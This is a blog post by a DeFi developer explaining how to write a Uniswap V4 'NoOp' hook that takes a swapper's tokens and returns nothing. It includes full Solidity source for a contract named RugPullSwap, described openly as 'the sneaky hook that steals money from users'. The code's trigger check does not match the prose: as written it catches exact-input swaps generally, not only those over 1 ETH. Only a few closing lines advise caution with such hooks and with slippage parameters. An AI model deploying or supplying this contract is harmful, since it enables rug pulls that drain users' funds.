Uniswap NoOp guide

Uniswap V4, NoOp - Or how to build a Rug Pull Hook

Ivan Volovyk
4 min readFeb 3, 2025

In the previous article, I claimed that my guide was the quickest, but recently, I have discovered something even quicker.

This week as V4 was finally launched, let’s celebrate, relax, and have some fun 🎉

What we will build

Today, we will build the sneaky hook that steals money from users. This hook will swap normally but if some requirements are met, it does an empty swap. An empty swap is a swap that takes the asset from the user but returns zero assets out 😝. We will use the “if swap size is greater than 1 ETH” for a trigger.

As the code reference, I will use v4-by-example.org, where you can find various examples of hook design.

⚠️ Going forward I assume that you know the basics of writing simple hooks ⚠️

Let’s cover the NoOp part first

As stated in docs:

NoOp swaps allow hook developers to replace the v4 (v3-style) swap logic.

To do it we first need to include Hooks.BEFORE_SWAP_RETURNS_DELTA_FLAG during contract creation. And allow the corresponding permissions.

function getHookPermissions() public pure override returns (Hooks.Permissions memory) {
return
Hooks.Permissions({
beforeInitialize: false,
afterInitialize: false,
beforeAddLiquidity: false,
beforeRemoveLiquidity: false,
afterAddLiquidity: false,
afterRemoveLiquidity: false,
beforeSwap: true, // HERE
afterSwap: false,
beforeDonate: false,
afterDonate: false,
beforeSwapReturnDelta: true, // and HERE
afterSwapReturnDelta: false,
afterAddLiquidityReturnDelta: false,
afterRemoveLiquidityReturnDelta: false
});
}
  • To overwrite swap logic, beforeSwap must take the input currency and return BeforeSwapDelta.This delta struct will tell the router the amounts of assets to take from a user and what to expect in return.
  • When a beforeSwap hook returns a BeforeSwapDelta that is equal to params.amountSpecified, the subsequent swap operation is skipped, but money can be taken. The PoolManager (PM ) assumes you will do the swap properly using any curve or formula you want.
Currency input = params.zeroForOne ? key.currency0 : key.currency1;

// Here we take all user's funds provided
input.take(
poolManager,
address(this),
uint256(-params.amountSpecified),
false
);

// Here we return delta struct with:
// - the first value says what we will take all the amount provided
// - the second value says that we will return 0 assets back
return (
BaseHook.beforeSwap.selector,
toBeforeSwapDelta(int128(-params.amountSpecified), 0),
0
);

The fund movements will be as follows:

  1. The user will be sending TokenA to the PM, creating a debit of TokenA in the PM
  2. We will take the actual ERC20 Token from the PM, keep it in the hook, and create an equivalent credit for that TokenA
  3. These two debit and credit will net out, so all debts are settled

To not overwrite the logic and skip NoOp we will return zero delta.

return (BaseHook.beforeSwap.selector, BeforeSwapDeltaLibrary.ZERO_DELTA, 0);

Here comes the final code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {BaseHook} from "v4-periphery/src/base/hooks/BaseHook.sol";

import {Hooks} from "v4-core/libraries/Hooks.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {PoolId, PoolIdLibrary} from "v4-core/types/PoolId.sol";
import {toBeforeSwapDelta, BeforeSwapDelta, BeforeSwapDeltaLibrary} from "v4-core/types/BeforeSwapDelta.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {CurrencySettler} from "v4-core-test/utils/CurrencySettler.sol";
import {SafeCast} from "v4-core/libraries/SafeCast.sol";

contract RugPullSwap is BaseHook {
using PoolIdLibrary for PoolKey;
using CurrencySettler for Currency;
using SafeCast for uint256;

constructor(IPoolManager _poolManager) BaseHook(_poolManager) {}

function beforeSwap(
address,
PoolKey calldata key,
IPoolManager.SwapParams calldata params,
bytes calldata
) external override returns (bytes4, BeforeSwapDelta, uint24) {
// @Notice NoOp: if swap is exactInput and the amount is greater than 1 ether
if (params.amountSpecified < 1 ether) {
Currency input = params.zeroForOne ? key.currency0 : key.currency1;

input.take(
poolManager,
address(this),
uint256(-params.amountSpecified),
false
);

return (
BaseHook.beforeSwap.selector,
toBeforeSwapDelta(int128(-params.amountSpecified), 0),
0
);
}

return (BaseHook.beforeSwap.selector, BeforeSwapDeltaLibrary.ZERO_DELTA, 0);
}

function getHookPermissions() public pure override returns (Hooks.Permissions memory) {
return
Hooks.Permissions({
beforeInitialize: false,
afterInitialize: false,
beforeAddLiquidity: false,
beforeRemoveLiquidity: false,
afterAddLiquidity: false,
afterRemoveLiquidity: false,
beforeSwap: true, // No-op'ing the swap
afterSwap: false,
beforeDonate: false,
afterDonate: false,
beforeSwapReturnDelta: true, // No-op'ing the swap
afterSwapReturnDelta: false,
afterAddLiquidityReturnDelta: false,
afterRemoveLiquidityReturnDelta: false
});
}
}

Is this legal?

Looks like yes. So you need to treat all hooks with BEFORE_SWAP_RETURNS_DELTA_FLAG extra carefully as it can have any swap-related logic inside.

It’s also a good reminder, that you need to specify some specific values when calling the swap in the pool directly from solidity smart contract.

ISwapRouter.ExactOutputSingleParams({
tokenIn: tokenIn,
tokenOut: tokenOut,
fee: ETH_USDC_POOL_FEE,
recipient: address(this),
deadline: block.timestamp,
amountInMaximum: type(uint256).max,
amountOut: amountOut,
sqrtPriceLimitX96: 0
})

I have seen a lot of similar code in V3 with amountInMaximum, or amountOutMinimum equals zero or maximum.

But you will probably be safe using the UI because the Uniswap router will simulate the swap before doing it, so it will know if the assets are returned and, if not, consider the pool to be a very bad price for the user.

Swapping any amount for zero is the worst possible price indeed :)

Further considerations

Also, you may have noticed that this works only in the case of an exactInput swap. But I’m curious if we can do something similar in the exactOutput case 🤔?

--

--

Ivan Volovyk
Ivan Volovyk

Written by Ivan Volovyk

Co-founder of Lumis - Structured LP products on top of the Uniswap V4

No responses yet